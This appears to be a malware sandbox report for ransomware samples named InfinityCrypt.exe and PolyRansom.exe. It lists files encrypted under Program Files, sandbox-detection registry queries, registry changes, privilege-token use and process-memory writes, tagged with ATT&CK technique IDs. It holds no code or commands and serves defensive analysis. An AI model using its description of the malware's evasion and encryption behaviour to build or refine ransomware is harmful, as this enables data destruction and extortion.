File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\cs-cz\ui-strings.js.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\themes\dark\circle_2x.png.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Microsoft.NET\RedistList\AssemblyList_4_extended.xml.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\DSCResources\MSFT_PackageManagement\uk-UA\MSFT_PackageManagement.schema.mfl.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Welcome.pdf.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\download.svg.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\share.svg.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\themes\dark\arrow-down.png.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\ko-kr\ui-strings.js.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\ca-es\ui-strings.js.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\js\nls\fr-fr\ui-strings.js.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\ru-ru\ui-strings.js.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Common Files\Adobe\Reader\DC\Linguistics\Providers\Plugins2\AdobeHunspellPlugin\Dictionaries\en_CA\README_th_en_CA_v2.txt.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\UnifiedShare.aapp.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\zh-cn\ui-strings.js.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Google\Update\1.3.36.151\goopdateres_cs.dll.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\sk-sk\ui-strings.js.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\pt-br\ui-strings.js.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\app-center\js\nls\cs-cz\ui-strings.js.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\back-arrow-default.svg.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\s_filter-down_32.svg.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Google\Update\1.3.36.151\goopdateres_nl.dll.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\s_folder-hover_32.svg.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\css\main-selector.css.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\js\nls\uk-ua\ui-strings.js.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\js\nls\zh-tw\ui-strings.js.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Microsoft\EdgeUpdate_bk\1.3.185.17\msedgeupdateres_fil.dll.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\1.0.1\Microsoft.PowerShell.Operation.Validation.Format.ps1xml.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\eu-es\ui-strings.js.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\fr_get.svg.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\nl-nl\ui-strings.js.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\uk-ua\ui-strings.js.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Common Files\Adobe\Reader\DC\Linguistics\Providers\Plugins2\AdobeHunspellPlugin\Dictionaries\en_GB\changelog.txt.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\plugins\editpdf-selector.js.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\apple-touch-icon-144x144-precomposed.png.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\ui-strings.js.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\root\ui-strings.js.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\ja-jp\ui-strings.js.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\it_get.svg.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\MoreTools.aapp.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\turnOnNotificationInAcrobat.gif.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\zh-tw\ui-strings.js.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\plugin.js.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\search-summary\js\nls\root\ui-strings.js.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\themes\dark\close.svg.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\js\nls\fi-fi\ui-strings.js.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Google\Update\1.3.36.151\goopdateres_bn.dll.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\nb-no\ui-strings.js.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\sv-se\ui-strings.js.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\eu-es\ui-strings.js.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\root\ui-strings.js.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\plugins\rhp\pages-app-tool-view.js.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\fr\Microsoft.PackageManagement.MetaProvider.PowerShell.resources.dll.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\PDFPrevHndlr.dll.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\over-arrow-navigation.svg.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\sv-se\ui-strings.js.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\images\themes\dark\close.svg.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\sl-si\ui-strings.js.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

InfinityCrypt.exeInfinityCrypt.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	InfinityCrypt.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	InfinityCrypt.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	InfinityCrypt.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	InfinityCrypt.exe

Enumerates system info in registry 2 TTPs 9 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

chrome.exemsedge.exemsedge.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

Processes:

chrome.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133558773889763712"	chrome.exe

Modifies registry class 2 IoCs

Processes:

msedge.exeOpenWith.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-3270530367-132075249-2153716227-1000\{8FBCD527-794F-4EBA-A1E5-464CFE2F9C2B}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000_Classes\Local Settings	OpenWith.exe

Modifies registry key 1 TTPs 64 IoCs

Modify Registry

T1112

Processes:

pid	process
5684	reg.exe
1248	reg.exe
4964	reg.exe
4136	reg.exe
1088	reg.exe
5388	reg.exe
3240	reg.exe
5200	reg.exe
1084	reg.exe
2544	reg.exe
4776	reg.exe
900	reg.exe
4308	reg.exe
2528	reg.exe
4672	reg.exe
5000	reg.exe
6048	reg.exe
4776	reg.exe
6024
1448
5796	reg.exe
4516	reg.exe
648	reg.exe
5060	reg.exe
2412	reg.exe
4500	reg.exe
3816	reg.exe
2076	reg.exe
5352	reg.exe
1348	reg.exe
1072	reg.exe
5092	reg.exe
4668	reg.exe
4068	reg.exe
4836	reg.exe
5276	reg.exe
5936
4640	reg.exe
3616
3492	reg.exe
5108	reg.exe
4064	reg.exe
4388
3424
2320	reg.exe
3196	reg.exe
436
2088	reg.exe
5800	reg.exe
3264	reg.exe
392
5224	reg.exe
2016	reg.exe
5140	reg.exe
5408	reg.exe
4980	reg.exe
5232	reg.exe
1880	reg.exe
5452	reg.exe
3136	reg.exe
5452	reg.exe
3816	reg.exe
4500	reg.exe
5728	reg.exe

NTFS ADS 2 IoCs

Processes:

msedge.exe

description	ioc	process
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 465399.crdownload:SmartScreen	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 214823.crdownload:SmartScreen	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

msedge.exemsedge.exechrome.exechrome.exemsedge.exemsedge.exeidentity_helper.exemsedge.exemsedge.exemsedge.exemsedge.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exe

pid	process
4364	msedge.exe
4364	msedge.exe
408	msedge.exe
408	msedge.exe
824	chrome.exe
824	chrome.exe
3564	chrome.exe
3564	chrome.exe
620	msedge.exe
620	msedge.exe
5396	msedge.exe
5396	msedge.exe
5256	identity_helper.exe
5256	identity_helper.exe
5836	msedge.exe
5836	msedge.exe
4028	msedge.exe
4028	msedge.exe
4312	msedge.exe
4312	msedge.exe
4312	msedge.exe
4312	msedge.exe
444	msedge.exe
444	msedge.exe
5940	PolyRansom.exe
5940	PolyRansom.exe
5940	PolyRansom.exe
5940	PolyRansom.exe
4804	PolyRansom.exe
4804	PolyRansom.exe
4804	PolyRansom.exe
4804	PolyRansom.exe
1500	PolyRansom.exe
1500	PolyRansom.exe
1500	PolyRansom.exe
1500	PolyRansom.exe
6024	PolyRansom.exe
6024	PolyRansom.exe
6024	PolyRansom.exe
6024	PolyRansom.exe
4912	PolyRansom.exe
4912	PolyRansom.exe
4912	PolyRansom.exe
4912	PolyRansom.exe
856	PolyRansom.exe
856	PolyRansom.exe
856	PolyRansom.exe
856	PolyRansom.exe
5564	PolyRansom.exe
5564	PolyRansom.exe
5564	PolyRansom.exe
5564	PolyRansom.exe
4068	PolyRansom.exe
4068	PolyRansom.exe
4068	PolyRansom.exe
4068	PolyRansom.exe
5468	PolyRansom.exe
5468	PolyRansom.exe
5468	PolyRansom.exe
5468	PolyRansom.exe
5604	PolyRansom.exe
5604	PolyRansom.exe
5604	PolyRansom.exe
5604	PolyRansom.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

Processes:

OpenWith.exeVuUcUoEc.exe

pid process

5564 OpenWith.exe
1012 VuUcUoEc.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 20 IoCs

Processes:

msedge.exechrome.exemsedge.exe

pid	process
408	msedge.exe
408	msedge.exe
824	chrome.exe
824	chrome.exe
824	chrome.exe
824	chrome.exe
5396	msedge.exe
5396	msedge.exe
5396	msedge.exe
5396	msedge.exe
5396	msedge.exe
5396	msedge.exe
5396	msedge.exe
5396	msedge.exe
5396	msedge.exe
5396	msedge.exe
5396	msedge.exe
5396	msedge.exe
5396	msedge.exe
5396	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

chrome.exe

description	pid	process
Token: SeShutdownPrivilege	824	chrome.exe
Token: SeCreatePagefilePrivilege	824	chrome.exe
Token: SeShutdownPrivilege	824	chrome.exe
Token: SeCreatePagefilePrivilege	824	chrome.exe
Token: SeShutdownPrivilege	824	chrome.exe
Token: SeCreatePagefilePrivilege	824	chrome.exe
Token: SeShutdownPrivilege	824	chrome.exe
Token: SeCreatePagefilePrivilege	824	chrome.exe
Token: SeShutdownPrivilege	824	chrome.exe
Token: SeCreatePagefilePrivilege	824	chrome.exe
Token: SeShutdownPrivilege	824	chrome.exe
Token: SeCreatePagefilePrivilege	824	chrome.exe
Token: SeShutdownPrivilege	824	chrome.exe
Token: SeCreatePagefilePrivilege	824	chrome.exe
Token: SeShutdownPrivilege	824	chrome.exe
Token: SeCreatePagefilePrivilege	824	chrome.exe
Token: SeShutdownPrivilege	824	chrome.exe
Token: SeCreatePagefilePrivilege	824	chrome.exe
Token: SeShutdownPrivilege	824	chrome.exe
Token: SeCreatePagefilePrivilege	824	chrome.exe
Token: SeShutdownPrivilege	824	chrome.exe
Token: SeCreatePagefilePrivilege	824	chrome.exe
Token: SeShutdownPrivilege	824	chrome.exe
Token: SeCreatePagefilePrivilege	824	chrome.exe
Token: SeShutdownPrivilege	824	chrome.exe
Token: SeCreatePagefilePrivilege	824	chrome.exe
Token: SeShutdownPrivilege	824	chrome.exe
Token: SeCreatePagefilePrivilege	824	chrome.exe
Token: SeShutdownPrivilege	824	chrome.exe
Token: SeCreatePagefilePrivilege	824	chrome.exe
Token: SeShutdownPrivilege	824	chrome.exe
Token: SeCreatePagefilePrivilege	824	chrome.exe
Token: SeShutdownPrivilege	824	chrome.exe
Token: SeCreatePagefilePrivilege	824	chrome.exe
Token: SeShutdownPrivilege	824	chrome.exe
Token: SeCreatePagefilePrivilege	824	chrome.exe
Token: SeShutdownPrivilege	824	chrome.exe
Token: SeCreatePagefilePrivilege	824	chrome.exe
Token: SeShutdownPrivilege	824	chrome.exe
Token: SeCreatePagefilePrivilege	824	chrome.exe
Token: SeShutdownPrivilege	824	chrome.exe
Token: SeCreatePagefilePrivilege	824	chrome.exe
Token: SeShutdownPrivilege	824	chrome.exe
Token: SeCreatePagefilePrivilege	824	chrome.exe
Token: SeShutdownPrivilege	824	chrome.exe
Token: SeCreatePagefilePrivilege	824	chrome.exe
Token: SeShutdownPrivilege	824	chrome.exe
Token: SeCreatePagefilePrivilege	824	chrome.exe
Token: SeShutdownPrivilege	824	chrome.exe
Token: SeCreatePagefilePrivilege	824	chrome.exe
Token: SeShutdownPrivilege	824	chrome.exe
Token: SeCreatePagefilePrivilege	824	chrome.exe
Token: SeShutdownPrivilege	824	chrome.exe
Token: SeCreatePagefilePrivilege	824	chrome.exe
Token: SeShutdownPrivilege	824	chrome.exe
Token: SeCreatePagefilePrivilege	824	chrome.exe
Token: SeShutdownPrivilege	824	chrome.exe
Token: SeCreatePagefilePrivilege	824	chrome.exe
Token: SeShutdownPrivilege	824	chrome.exe
Token: SeCreatePagefilePrivilege	824	chrome.exe
Token: SeShutdownPrivilege	824	chrome.exe
Token: SeCreatePagefilePrivilege	824	chrome.exe
Token: SeShutdownPrivilege	824	chrome.exe
Token: SeCreatePagefilePrivilege	824	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

msedge.exechrome.exemsedge.exe

pid	process
408	msedge.exe
408	msedge.exe
408	msedge.exe
408	msedge.exe
408	msedge.exe
408	msedge.exe
408	msedge.exe
408	msedge.exe
408	msedge.exe
408	msedge.exe
408	msedge.exe
408	msedge.exe
408	msedge.exe
408	msedge.exe
408	msedge.exe
408	msedge.exe
408	msedge.exe
408	msedge.exe
408	msedge.exe
408	msedge.exe
408	msedge.exe
408	msedge.exe
408	msedge.exe
408	msedge.exe
408	msedge.exe
408	msedge.exe
824	chrome.exe
824	chrome.exe
824	chrome.exe
824	chrome.exe
824	chrome.exe
824	chrome.exe
824	chrome.exe
824	chrome.exe
824	chrome.exe
824	chrome.exe
824	chrome.exe
824	chrome.exe
824	chrome.exe
824	chrome.exe
824	chrome.exe
824	chrome.exe
824	chrome.exe
824	chrome.exe
824	chrome.exe
824	chrome.exe
824	chrome.exe
824	chrome.exe
824	chrome.exe
824	chrome.exe
824	chrome.exe
824	chrome.exe
824	chrome.exe
5396	msedge.exe
5396	msedge.exe
5396	msedge.exe
5396	msedge.exe
5396	msedge.exe
5396	msedge.exe
5396	msedge.exe
5396	msedge.exe
5396	msedge.exe
5396	msedge.exe
5396	msedge.exe

Suspicious use of SendNotifyMessage 64 IoCs

Processes:

msedge.exechrome.exemsedge.exe

pid	process
408	msedge.exe
408	msedge.exe
408	msedge.exe
408	msedge.exe
408	msedge.exe
408	msedge.exe
408	msedge.exe
408	msedge.exe
408	msedge.exe
408	msedge.exe
408	msedge.exe
408	msedge.exe
408	msedge.exe
408	msedge.exe
408	msedge.exe
408	msedge.exe
408	msedge.exe
408	msedge.exe
408	msedge.exe
408	msedge.exe
408	msedge.exe
408	msedge.exe
408	msedge.exe
408	msedge.exe
824	chrome.exe
824	chrome.exe
824	chrome.exe
824	chrome.exe
824	chrome.exe
824	chrome.exe
824	chrome.exe
824	chrome.exe
824	chrome.exe
824	chrome.exe
824	chrome.exe
824	chrome.exe
824	chrome.exe
824	chrome.exe
824	chrome.exe
824	chrome.exe
824	chrome.exe
824	chrome.exe
824	chrome.exe
824	chrome.exe
824	chrome.exe
824	chrome.exe
824	chrome.exe
824	chrome.exe
5396	msedge.exe
5396	msedge.exe
5396	msedge.exe
5396	msedge.exe
5396	msedge.exe
5396	msedge.exe
5396	msedge.exe
5396	msedge.exe
5396	msedge.exe
5396	msedge.exe
5396	msedge.exe
5396	msedge.exe
5396	msedge.exe
5396	msedge.exe
5396	msedge.exe
5396	msedge.exe

Suspicious use of SetWindowsHookEx 59 IoCs

Processes:

OpenWith.exe

pid	process
5564	OpenWith.exe
5564	OpenWith.exe
5564	OpenWith.exe
5564	OpenWith.exe
5564	OpenWith.exe
5564	OpenWith.exe
5564	OpenWith.exe
5564	OpenWith.exe
5564	OpenWith.exe
5564	OpenWith.exe
5564	OpenWith.exe
5564	OpenWith.exe
5564	OpenWith.exe
5564	OpenWith.exe
5564	OpenWith.exe
5564	OpenWith.exe
5564	OpenWith.exe
5564	OpenWith.exe
5564	OpenWith.exe
5564	OpenWith.exe
5564	OpenWith.exe
5564	OpenWith.exe
5564	OpenWith.exe
5564	OpenWith.exe
5564	OpenWith.exe
5564	OpenWith.exe
5564	OpenWith.exe
5564	OpenWith.exe
5564	OpenWith.exe
5564	OpenWith.exe
5564	OpenWith.exe
5564	OpenWith.exe
5564	OpenWith.exe
5564	OpenWith.exe
5564	OpenWith.exe
5564	OpenWith.exe
5564	OpenWith.exe
5564	OpenWith.exe
5564	OpenWith.exe
5564	OpenWith.exe
5564	OpenWith.exe
5564	OpenWith.exe
5564	OpenWith.exe
5564	OpenWith.exe
5564	OpenWith.exe
5564	OpenWith.exe
5564	OpenWith.exe
5564	OpenWith.exe
5564	OpenWith.exe
5564	OpenWith.exe
5564	OpenWith.exe
5564	OpenWith.exe
5564	OpenWith.exe
5564	OpenWith.exe
5564	OpenWith.exe
5564	OpenWith.exe
5564	OpenWith.exe
5564	OpenWith.exe
5564	OpenWith.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

msedge.exe

description	pid	process	target process
PID 408 wrote to memory of 2640	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 2640	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 2212	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 2212	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 2212	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 2212	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 2212	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 2212	408	msedge.exe	msedge.exe
